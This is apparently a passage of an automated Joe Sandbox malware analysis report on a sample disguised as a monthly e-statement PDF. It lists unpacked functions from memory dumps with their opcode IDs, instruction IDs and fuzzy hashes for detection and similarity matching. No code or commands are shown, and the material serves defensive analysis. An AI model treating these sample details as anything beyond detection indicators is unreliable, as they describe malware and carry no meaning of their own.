                                                                                                                • Opcode ID: b94cf4792e9ab3c25a056d1986144217f317fd9f2c4b765f968a75cc36da660e
                                                                                                                • Instruction ID: 3177ee3dc6a0259ec834db550dd70184aea66e5fc87bcf99e320da7f84486f22
                                                                                                                • Opcode Fuzzy Hash: b94cf4792e9ab3c25a056d1986144217f317fd9f2c4b765f968a75cc36da660e
                                                                                                                • Instruction Fuzzy Hash: A351D830B002159FEB249B65D854BAEBBF6FF84710F14892EE416D7392DBB19C44C7A0
                                                                                                                Function 05ABBA58 Relevance: .2, Instructions: 160COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6b8a6022e7cfdcd262d20f0c090461a4f052d279868bb91ee35d2ae266605f13
                                                                                                                • Instruction ID: d1c3feba70efdc11d02f296fcb4f0fbc80ecd3a27627d37fa703fd782afa17be
                                                                                                                • Opcode Fuzzy Hash: 6b8a6022e7cfdcd262d20f0c090461a4f052d279868bb91ee35d2ae266605f13
                                                                                                                • Instruction Fuzzy Hash: 96513934A002089FCB04DB59D4C5E6DBBF6FB88311B55C45AE949DB352DB71E842CBA0
                                                                                                                Function 00F26307 Relevance: .2, Instructions: 156COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 653d2e594c74fcd234f697bbba7d2b94e00a2e301c672d82f43e3fab43919c97
                                                                                                                • Instruction ID: 09a0ccca5aad9f9fe24b4efc75ff89f4312d7c5d721ca42fc92081059c57b29a
                                                                                                                • Opcode Fuzzy Hash: 653d2e594c74fcd234f697bbba7d2b94e00a2e301c672d82f43e3fab43919c97
                                                                                                                • Instruction Fuzzy Hash: 19511C75A10619CFCB04CFA9C88499EB7F6FF8A700B2581AAE505EF361DB71AD05CB50
                                                                                                                Function 00F2FDB8 Relevance: .2, Instructions: 156COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 61615def55f7c4591b7d9d2487c915f857db037841980e278a7438ddf5267610
                                                                                                                • Instruction ID: 741a4bc1d57fd0ec3e051331debeddbbff7e0d249556f4da112568f84765cffb
                                                                                                                • Opcode Fuzzy Hash: 61615def55f7c4591b7d9d2487c915f857db037841980e278a7438ddf5267610
                                                                                                                • Instruction Fuzzy Hash: 5761DD38B10A008FCB54DF69D88885EBBF2FF8961075585A9E51ADB771DB30EC05CB90
                                                                                                                Function 00F2D350 Relevance: .2, Instructions: 150COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9ec6643aa7b130c3a041b28aeac8b6908529370c0b47a0ce7270b948ef38e233
                                                                                                                • Instruction ID: 84214b9b8aebdab4be46497709d93e6922c732b2ae3fb344b49b55d06d92afbd
                                                                                                                • Opcode Fuzzy Hash: 9ec6643aa7b130c3a041b28aeac8b6908529370c0b47a0ce7270b948ef38e233
                                                                                                                • Instruction Fuzzy Hash: 9551D235B002198FDF15DFA9E4947AEB7A2FF88350B14856AE805DB384DB34DD0187A2
                                                                                                                Function 05AB9110 Relevance: .1, Instructions: 146COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5f73fe0f39331495759f642787cd3ee423da40fe5f292fab7192db0006781f9e
                                                                                                                • Instruction ID: ed7c6c6c3dd8b97ba20821d488a31f197828e6b21c69a039af16c9178fd3a64f
                                                                                                                • Opcode Fuzzy Hash: 5f73fe0f39331495759f642787cd3ee423da40fe5f292fab7192db0006781f9e
                                                                                                                • Instruction Fuzzy Hash: 7C519C70E00208DFDB04DFA8D584A9DFBF6FF88314F108269E509AB261DB71AD55CBA1
                                                                                                                Function 05ABCF97 Relevance: .1, Instructions: 144COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 15006cab9eb95f7f9068422bc3bc30e886dd5e63a98d0ef7a8616974214473e6
                                                                                                                • Instruction ID: 65e50a37c5eee98e4aeee85425a684857ea2ebbc46e79cbe1f97dab92891ceed
                                                                                                                • Opcode Fuzzy Hash: 15006cab9eb95f7f9068422bc3bc30e886dd5e63a98d0ef7a8616974214473e6
                                                                                                                • Instruction Fuzzy Hash: 97518F74B002459FEB05EB78C895F7E7BB6EF88310F144469E906DB392DA759C02CBA1
                                                                                                                Function 05ABE198 Relevance: .1, Instructions: 142COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e2c9c1e6c6b7a92a9c7b484bab46fee08a2fc0694147058fe72cf092a76afdc3
                                                                                                                • Instruction ID: 1405b92dbc1d036d92bd50ddd744297bcf231647686ee397653538b8343a779c
                                                                                                                • Opcode Fuzzy Hash: e2c9c1e6c6b7a92a9c7b484bab46fee08a2fc0694147058fe72cf092a76afdc3
                                                                                                                • Instruction Fuzzy Hash: 41518D74A00B018FDB20CF69D580AAAF7F6FF88310B108A29D99AD7B41D731F941CB90
                                                                                                                Function 00F26040 Relevance: .1, Instructions: 137COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 70f9616790ae4182c74825e875d64adfa5110083af0b5702716701c5f7222f7c
                                                                                                                • Instruction ID: 931e2281e0d17f2d0384f28fe0e49fad219e288fde142a3e0adf7485db5c1d1a
                                                                                                                • Opcode Fuzzy Hash: 70f9616790ae4182c74825e875d64adfa5110083af0b5702716701c5f7222f7c
                                                                                                                • Instruction Fuzzy Hash: BF517B30E103499FDB05DFB5D844BDDBBB2FF89300F208659E415AB291DB79A985CBA0
                                                                                                                Function 00F28BE8 Relevance: .1, Instructions: 136COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8eaccf073939aa5c0141103e66587e9d568c0eafe13a12e6b87f86d4d9fb61f5
                                                                                                                • Instruction ID: ec70342b062b3979a668ea6f4f65fcc4fd68cd3e780538a71e0ff6b9d6455a84
                                                                                                                • Opcode Fuzzy Hash: 8eaccf073939aa5c0141103e66587e9d568c0eafe13a12e6b87f86d4d9fb61f5
                                                                                                                • Instruction Fuzzy Hash: 3A514B30B012118FDB18DF25E8D4666BBB1EF99360B4041A8D815DF3A9DB30EC52DFA1
                                                                                                                Function 05AC0118 Relevance: .1, Instructions: 133COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: aad3eaf8c0dd32911e13c0ce191750ae91a9a093f013432a6332ff92b5fdd3c3
                                                                                                                • Instruction ID: b624b2c3ef30f4b3e523110a5228851437cd37c62187f9b932f1efad6dc853d9
                                                                                                                • Opcode Fuzzy Hash: aad3eaf8c0dd32911e13c0ce191750ae91a9a093f013432a6332ff92b5fdd3c3
                                                                                                                • Instruction Fuzzy Hash: 32513874B002059FDB04DF69C885E6EBBB6EF84310F158599E506AF3A2DB71EC42CB90
                                                                                                                Function 05AC7388 Relevance: .1, Instructions: 132COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4d668856eead96f3dd6133faa06cc4deba739b6d920e86ef21228a9c21b9de09
                                                                                                                • Instruction ID: 8bc12f88aa5f4c1ec32219bbdf06c557ddc7f96e4d85dd7f9626793e4b7e067e
                                                                                                                • Opcode Fuzzy Hash: 4d668856eead96f3dd6133faa06cc4deba739b6d920e86ef21228a9c21b9de09
                                                                                                                • Instruction Fuzzy Hash: 7F414134B006049FDB54DF78C595AAEBBF2EF89710F1445A8E516AB391DB31EC02CBA1
                                                                                                                Function 00F26039 Relevance: .1, Instructions: 127COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: afe2312235646e98cced228e38c7f54c920da8ac65c01ad2b5ac60fb59ba5577
                                                                                                                • Instruction ID: bcd9ad6ba3914c1742598b3a8af8c0be89e4a15cd6b2019497a9b278b6a5246d
                                                                                                                • Opcode Fuzzy Hash: afe2312235646e98cced228e38c7f54c920da8ac65c01ad2b5ac60fb59ba5577
                                                                                                                • Instruction Fuzzy Hash: 73513A70E103099FDB14DFB5D844B9DB7B2FF88300F208259E415AB290DB79A985CBA0
                                                                                                                Function 00F2DCD0 Relevance: .1, Instructions: 126COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: cc498367c023fb61b911287a4d33b6c1d227be2dde043db307c2902def6bd88a
                                                                                                                • Instruction ID: 9dd4e24017964d3fff98408e3eeffad4590f9519db4b091958b1dfbd3dac54d7
                                                                                                                • Opcode Fuzzy Hash: cc498367c023fb61b911287a4d33b6c1d227be2dde043db307c2902def6bd88a
                                                                                                                • Instruction Fuzzy Hash: 2041E535605645DFCB05CF68D8809AABBB1FF4A324768C48DE845DB362D731E906DB90
                                                                                                                Function 05AB3918 Relevance: .1, Instructions: 121COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 93681f2d662d002bc5d8280380bfb869d44949f38d8fd74bfecad963db6d73e3
                                                                                                                • Instruction ID: 8aa81db2fd1aef61b6cd281fd83968fa5e738fc1abc1c600cfba42c556511944
                                                                                                                • Opcode Fuzzy Hash: 93681f2d662d002bc5d8280380bfb869d44949f38d8fd74bfecad963db6d73e3
                                                                                                                • Instruction Fuzzy Hash: F5314B5751D7A01FF302AABCE8763C63F248FA6525F0945E7C584CA2D2E814C84E86A6
                                                                                                                Function 05AB48C2 Relevance: .1, Instructions: 121COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 37f276cc5c395dcf148d3f59a05276e960057e07a00491626495df996ef4dc65
                                                                                                                • Instruction ID: 61f3bacc6c89504cbd623f42087d8a3b38074b81e887c65d817cad308c7e3a86
                                                                                                                • Opcode Fuzzy Hash: 37f276cc5c395dcf148d3f59a05276e960057e07a00491626495df996ef4dc65
                                                                                                                • Instruction Fuzzy Hash: 07510875A20606EFCB04DFA9E994C99BBB1FF883107118285F945AB325DB31ED91CB90
                                                                                                                Function 05AB3BB8 Relevance: .1, Instructions: 117COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 762196b36ce00ff28f47f626ad6c2c6599d7e92a3acf63f10c469835675b7d67
                                                                                                                • Instruction ID: 97dceaae3b110c8642613ae8270f1a134e3b72d5768f86b66d4eb655f0d0e4d6
                                                                                                                • Opcode Fuzzy Hash: 762196b36ce00ff28f47f626ad6c2c6599d7e92a3acf63f10c469835675b7d67
                                                                                                                • Instruction Fuzzy Hash: A4410330A10259DBEF149FA5D898FAD7BB6BF84700F104829E512EB351DFB45845CBA4
                                                                                                                Function 00F2D8F8 Relevance: .1, Instructions: 116COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c7942a84c45892cdec3ea191c6edcd06e8347793674159bdf31e75a2412f149a
                                                                                                                • Instruction ID: 4d6a70b5ee2bd5a9aaeb7260c5ce98df06178cec9c665c8fab9eb4333aca6f5a
                                                                                                                • Opcode Fuzzy Hash: c7942a84c45892cdec3ea191c6edcd06e8347793674159bdf31e75a2412f149a
                                                                                                                • Instruction Fuzzy Hash: 85410779B002269F9F08DB98D484E6A77FAFF8C710B248055E9069B315DB31ED42EB61
                                                                                                                Function 00F24C50 Relevance: .1, Instructions: 110COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5b1da7aea785bccf6742013bab94adbe0c94d4bf503a8a33c11b9c66332500d6
                                                                                                                • Instruction ID: f971dfb32e520ccb7e1881941cd78a6d7677f8b51a84e219adc7cc866d9a229e
                                                                                                                • Opcode Fuzzy Hash: 5b1da7aea785bccf6742013bab94adbe0c94d4bf503a8a33c11b9c66332500d6
                                                                                                                • Instruction Fuzzy Hash: DF317C32B012168FDB149F69D098BAEB7F6EF89354F108469D406EB350DBB0EC019B91
                                                                                                                Function 05AB85F9 Relevance: .1, Instructions: 109COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b71698dedbaddc1a070760bcf40d6b33682fd9447269fe39f5a0f78130850136
                                                                                                                • Instruction ID: c7ac03317251495126a63e879c70f1485fa1f2c0076b3cfd61e58a1be6dd495f
                                                                                                                • Opcode Fuzzy Hash: b71698dedbaddc1a070760bcf40d6b33682fd9447269fe39f5a0f78130850136
                                                                                                                • Instruction Fuzzy Hash: 09416D71B102069FCB44DF79D8959AEBBB6FF88300B108669E405EB351DB75ED06CBA0
                                                                                                                Function 05AB5EE0 Relevance: .1, Instructions: 109COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 98cc4b9d1de75d1354350c638abe14525b60a8c59f71125f9d9b64da42acebf5
                                                                                                                • Instruction ID: effbc1f8348c7148ed38110d25c9c6a5793672bb5dda6273dcf3ce87c8b7c996
                                                                                                                • Opcode Fuzzy Hash: 98cc4b9d1de75d1354350c638abe14525b60a8c59f71125f9d9b64da42acebf5
                                                                                                                • Instruction Fuzzy Hash: 56415E35B002159FDB14DFA9C844E9EBBFAEF89250B158169E419DB361EB30DD018B90
                                                                                                                Function 05AB33D0 Relevance: .1, Instructions: 108COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: dea8922ebd016e5d53f73e20e8273694ca62bc18e4e4fd3fc141dd167659375d
                                                                                                                • Instruction ID: e487a5ea0b3303013c323ee0d8b90785ee04fe55c316ccdf75eb1029029e73aa
                                                                                                                • Opcode Fuzzy Hash: dea8922ebd016e5d53f73e20e8273694ca62bc18e4e4fd3fc141dd167659375d
                                                                                                                • Instruction Fuzzy Hash: 14417530B00218AFEF049FA9D855BAEBAB6FF84700F208429E405B73C5DF719D058BA5
                                                                                                                Function 05AB7CC0 Relevance: .1, Instructions: 107COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: bebec9afda1370ea7a97bafe64ce985dbfe9d5db87e41c394baffad9640be988
                                                                                                                • Instruction ID: 1e1d1ad66d100521911ef39289d73d86447ace776c8bb5a2941184b12d79d54a
                                                                                                                • Opcode Fuzzy Hash: bebec9afda1370ea7a97bafe64ce985dbfe9d5db87e41c394baffad9640be988
                                                                                                                • Instruction Fuzzy Hash: B5312831F007058FDB15DBA9C8906EFB7B6EFC9310B248559E445A7352DB74AC0287A0
                                                                                                                Function 05AB00F8 Relevance: .1, Instructions: 106COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2a898fdced6cc58df299ce0ffae0edf1c7dbab308da640939a433fc7b9a2dad2
                                                                                                                • Instruction ID: 317492e026478123227eaee45f59cc3614a935ca18e24e698e36881a960e84e3
                                                                                                                • Opcode Fuzzy Hash: 2a898fdced6cc58df299ce0ffae0edf1c7dbab308da640939a433fc7b9a2dad2
                                                                                                                • Instruction Fuzzy Hash: E6315E31B112158FDF08DBA8D894AAEF7F6FFC9210B10852AD41AD7355DBB0DD058BA0
                                                                                                                Function 00F244CB Relevance: .1, Instructions: 103COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 01ec55f41932d222b34659081cad6c5077786a20b7307bad8725f6ad8c8e1b8d
                                                                                                                • Instruction ID: ab88f828d1d5d9e3a2cc9809b69e6ba987897aed77dbf404d61f31b97b0ec4eb
                                                                                                                • Opcode Fuzzy Hash: 01ec55f41932d222b34659081cad6c5077786a20b7307bad8725f6ad8c8e1b8d
                                                                                                                • Instruction Fuzzy Hash: EB416C74A00214DFDB24DB68E599B6DBBF2EF48310F148458E4069B391CBB4ED46DB91
                                                                                                                Function 00F20A10 Relevance: .1, Instructions: 100COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e359155078a516121e196ad80d4e9c8a3d78ffbe403bee02570085eb58cbe7d0
                                                                                                                • Instruction ID: 1dde30ded0624f4c5064285dd053f27197724c453f0e780faccd5517800cbc9e
                                                                                                                • Opcode Fuzzy Hash: e359155078a516121e196ad80d4e9c8a3d78ffbe403bee02570085eb58cbe7d0
                                                                                                                • Instruction Fuzzy Hash: F0418E75E012199FDB18DFAAD951AAEFBF2BF88300F14802AE814A7355DB345942DF50
                                                                                                                Function 05AC0D11 Relevance: .1, Instructions: 100COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: acecb15a6673353ad83e312dc6055a456338782d2ac05a6b7b997bc5a010fbd8
                                                                                                                • Instruction ID: 87d45d31ebaf633c3b012ee8a4dd110882025cc76f40685925b1ff0e61780775
                                                                                                                • Opcode Fuzzy Hash: acecb15a6673353ad83e312dc6055a456338782d2ac05a6b7b997bc5a010fbd8
                                                                                                                • Instruction Fuzzy Hash: C931D335700610ABD718AB65EC49F6EBBB6FBC8711F10816DE51A8B780CB70B852C7A0
                                                                                                                Function 05AC7C48 Relevance: .1, Instructions: 100COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a9b1cd933233362d60bdbe11020a365a77d5eaf0c0394205c2c0030f7019f67d
                                                                                                                • Instruction ID: 164196b806dfe83d085417e4163bd49400f96a2f6e47ff1bd4bfebeea77b1253
                                                                                                                • Opcode Fuzzy Hash: a9b1cd933233362d60bdbe11020a365a77d5eaf0c0394205c2c0030f7019f67d
                                                                                                                • Instruction Fuzzy Hash: AE31C2353052449FC715DB38C949E1ABFFAEF8A611B58C4AEE45ACB752CA35EC02C790
                                                                                                                Function 05AC117F Relevance: .1, Instructions: 99COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ac573eb2fe76a8df0547de620a6418df26809d7db5fd8e31cffa86b5971541a9
                                                                                                                • Instruction ID: 48a02243a32575268ec25fff472de92bb8f9406f300ce5b7da59c7f8fc15cea9
                                                                                                                • Opcode Fuzzy Hash: ac573eb2fe76a8df0547de620a6418df26809d7db5fd8e31cffa86b5971541a9
